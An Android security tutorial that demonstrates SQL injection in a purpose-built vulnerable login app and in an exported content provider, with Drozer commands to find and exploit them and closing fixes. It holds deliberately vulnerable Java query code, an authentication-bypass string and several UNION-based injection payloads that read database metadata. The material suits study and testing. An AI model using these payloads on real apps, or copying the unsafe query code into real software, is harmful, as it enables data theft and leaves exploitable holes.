This article covers some advanced options available in Drozer by demonstrating SQL Injection vulnerabilities in Android Apps.
This article assumes that the readers have basic knowledge of SQL Injection in web world. We can apply that knowledge to Mobile Apps.
The following are various possibilities of SQL Injection vulnerabilities in Android Apps.
1. SQL Injection at server side
2. Traditional SQL Injection at client side
3. SQL Injection in content providers
1. SQL Injection at server side
When a malicious input is sent to a backend API, web service, or traditional web server application and if it is not sanitized before passing to the database, this scenario occurs. This is similar to SQL Injection in traditional websites.
2. Traditional SQL Injection at client side
The second variant is, SQL Injection in the client side due to dynamic queries in the code. Though this is not so common in real world Android apps, I have developed a simple app to demonstrate the possibility of this vulnerability in Android apps.
When we install, we see the following screen. Click "Register" and enter some username and password to get registered.
We can use the above credentials to login to the application.
Now, let us have a look at the code snippet used to process the login.
Code in Login Activity:
// Reading user input and passing it for processing
String USERNAME=username.getText().toString().trim();
String PASSWORD=password.getText().toString().trim();
boolean c = db.login(USERNAME,PASSWORD);
// If we got a boolean value "true" from the database, login success
if(c == true)
{
Intent i = new Intent(Login.this,Welcome.class);
startActivity(i);
}
Code in the database processing class
// Processing the data received from the user
public boolean login(String UNAME, String UPASS) {
String query = "select * from ADMIN where EMPNAME = '" + UNAME + "' and EMPPASS = '" + UPASS +"'";
Cursor c = db.rawQuery( query, null );
return c.getCount() != 0;
As we can clearly see, the application is directly accepting the user input and inserting it into the query, finally using rawQuery to execute it; thus vulnerable to SQL Injection.
A user can simply, enter the magic string ' or 1=1-- as shown below to bypass the authentication.
 |  |
3. SQL Injection in content providers
This is the most important concept in this article as this vulnerability often comes in real world apps.
Install the vulnerable application on your emulator as shown below.
adb install VulContentProvider.apk
When you launch this application, it shows the following screen. We can save some bank details as well as view them by giving the name of the user. This is shown below.
I gave some account details as shown in the figure below.
If you enter the name, and click "Show Data", it displays the banks details as shown below.
The backend processing is done using content providers. If you remember, in one our previous articles we have covered how to find and query a content provider manually. In this article, we will see how to automate the whole process using Drozer. In addition to that, we will also see how to exploit injection vulnerabilities in Content Providers.
If you are new to Drozer, feel free to go through my previous article where we discussed the basics of Drozer.
Finding and exploiting SQL Injection in Content Providers using Drozer
It is time to fire up your Drozer and find vulnerabilities using it.
First, launch drozer agent on the emulator and perform port forwarding on your local machine with the following command.
adb forward tcp:31415 tcp:31415
Let us first find out the package name of our target application using the command shown below.
dz> run app.package.list -f vul
Now, let us see the attacksurface using the following command.
dz> run app.package.attacksurface [package name]
As we can see in the figure above, drozer seems to find two vulnerabilities.
1. There is a content provider exported, so it may expose sensitive information of the app.
2. App is debuggable.
Our focus in this article is ContentProviders. So, let us go ahead and extract the content provider which is exported.
We can list our all the content providers using the scanner module in drozer as shown below.
dz> run scanner.provider.finduris -a [packagename]
As we can see in the above figure, we are able to see the content providers which are accessible.
Now, let us see if we have any additional vulnerabilities in the following content provider URI.
content://com.androidpentesting.vulcontentprovider.data/userdetails/
I am going to test for Injection vulnerabilities in this URI using the following command.
dz> run scanner.provider.injection --uri [URI]
Awesome!
As we can see in the above figure, the URI we scanned is vulnerable to injection both in Projection as well as Selection.
Exploitation:
1. Querying the data
If you remember one of our previous articles on leaking content providers, we discussed how to query the provider using adb.
In this case, we are going to use drozer for the same task. We can run the following command to query the provider.
dz> run app.provider.query [URI]
If a content provider is vulnerable to data leakage, any other malicious app sitting on the same device can read the data.
2. Exploiting Injection
Now, let us see how we can pass arbitrary SQL Commands to extract data from the database.
Breaking the query:
The traditional way of confirming SQL Injection is to pass a single quote and break the query.
Let us pass a single quote(') in selection and see the response.
dz> run app.provider.query [URI] --selection "'"
If we observe the above response, the single quote has been sent to the query and it is throwing an error along with the broken query.
Now, let us form a proper query by passing "id=1".
dz> run app.provider.query [URI] --selection "id=1"
The above query has executed as expected and returned the row associated with id 1.
We can even pass id=2 which looks as shown below.
dz> run app.provider.query [URI] --selection "id=2"
Now, let us pass the magic string as shown below.
dz> run app.provider.query [URI] --selection "1 or 1=1"
As expected, it has returned all the rows.
Now, let us do something interesting.
I am passing the following query to print the numbers 1,2,3 using UNION statement. All the rules with "UNION" statements should be kept in mind. Thats the reason for passing only 3 columns in my query.
dz> run app.provider.query [URI] --selection "1=1) union select 1,2,3 from sqlite_master where (1=1"
"sqlite_master" is something similar to information_schema in MySQL databases. It holds metadata and structure of the database.
In our case the above command becomes,
dz> run app.provider.query content://com.androidpentesting.vulcontentprovider.data/userdetails/ --selection "1=1) union select 1,2,3 from sqlite_master where (1=1"
The output of the above command is as shown below.
As we can see in the above figure, we are able to see the numbers 1,2,3. We can now replace any of the numbers to extract the content from the database.
So, let us go ahead and print the database version. (This is just to show how we can read the private information by passing arbitrary commands to the database).
The command now will be as shown below.
dz> run app.provider.query [URI] --selection "1=1) union select 1,2,sqlite_version() from sqlite_master where (1=1"
In our case, the query becomes
dz> run app.provider.query content://com.androidpentesting.vulcontentprovider.data/userdetails/ --selection "1=1) union select 1,2,sqlite_version() from sqlite_master where (1=1"
The output is as shown below.
As we can see in the above figure, 3.7.11 is the database version.
We can even list out all the table names using the following command as shown below.
dz> run app.provider.query [URI] --selection "1=1) union select 1,2,tbl_name from sqlite_master where (1=1"
In our case, the query becomes
dz> run app.provider.query content://com.androidpentesting.vulcontentprovider.data/userdetails/ --selection "1=1) union select 1,2,tbl_name from sqlite_master where (1=1"
the following is the output from the above command.
It clearly shows the list of tables. "users" is one table with which we are interacting using the provider. if there are any other user defined tables, we can query them.
As an example, I am showing a query where I am going to find out the data types of each column in users table.
This helps us if we want to insert data into the content provider. Drozer also provides the luxury of inserting data into the existing tables.
dz> run app.provider.query content://com.androidpentesting.vulcontentprovider.data/userdetails/ --selection "1=1) union select typeof(id), typeof(name), typeof(bankdetails) from users where (1=1"
If you observe the above command, we are extracting the data types of each column from users table.
The output of the above query is as shown below.
The following is the AndroidManifest.xml file entry for this provider.
<provider
android:name="com.androidpentesting.vulcontentprovider.data"
android:exported="true"
android:authorities="com.androidpentesting.vulcontentprovider.data">
</provider>
Well, if you are asking yourself if this kind of vulnerabilities exist in real world apps, answer is YES. I have seen many apps from the Android market, which are vulnerable to Content Provider injection.
Below is a link of POC from viaforensics.
https://viaforensics.com/mobile-security/ebay-android-content-provider-injection-vulnerability.html
How to fix?
Scenario 1&2:
Sanitize the user input and write prepared statements.
Scenario 3:
If it is not needed, content provider should not be exported.
If functionality demands to export your provider, we can set appropriate permissions to restrict access to only those who are authorised.
Conclusion:
This article has covered SQL Injection vulnerabilities in android apps and also clearly demonstrates the power of drozer in exploiting android apps. The focus of this article is to cover both SQL Injection as well as the luxury provided by Drozer to simplify android exploitation.
References:
https://www.owasp.org/index.php/OWASP_Mobile_Security_Project
http://www.mandalorian.com/2013/05/android-sql-injection-with-mercury
You may also like:
http://www.infosecinstitute.
You may also like:
http://www.infosecinstitute.
0 komentar: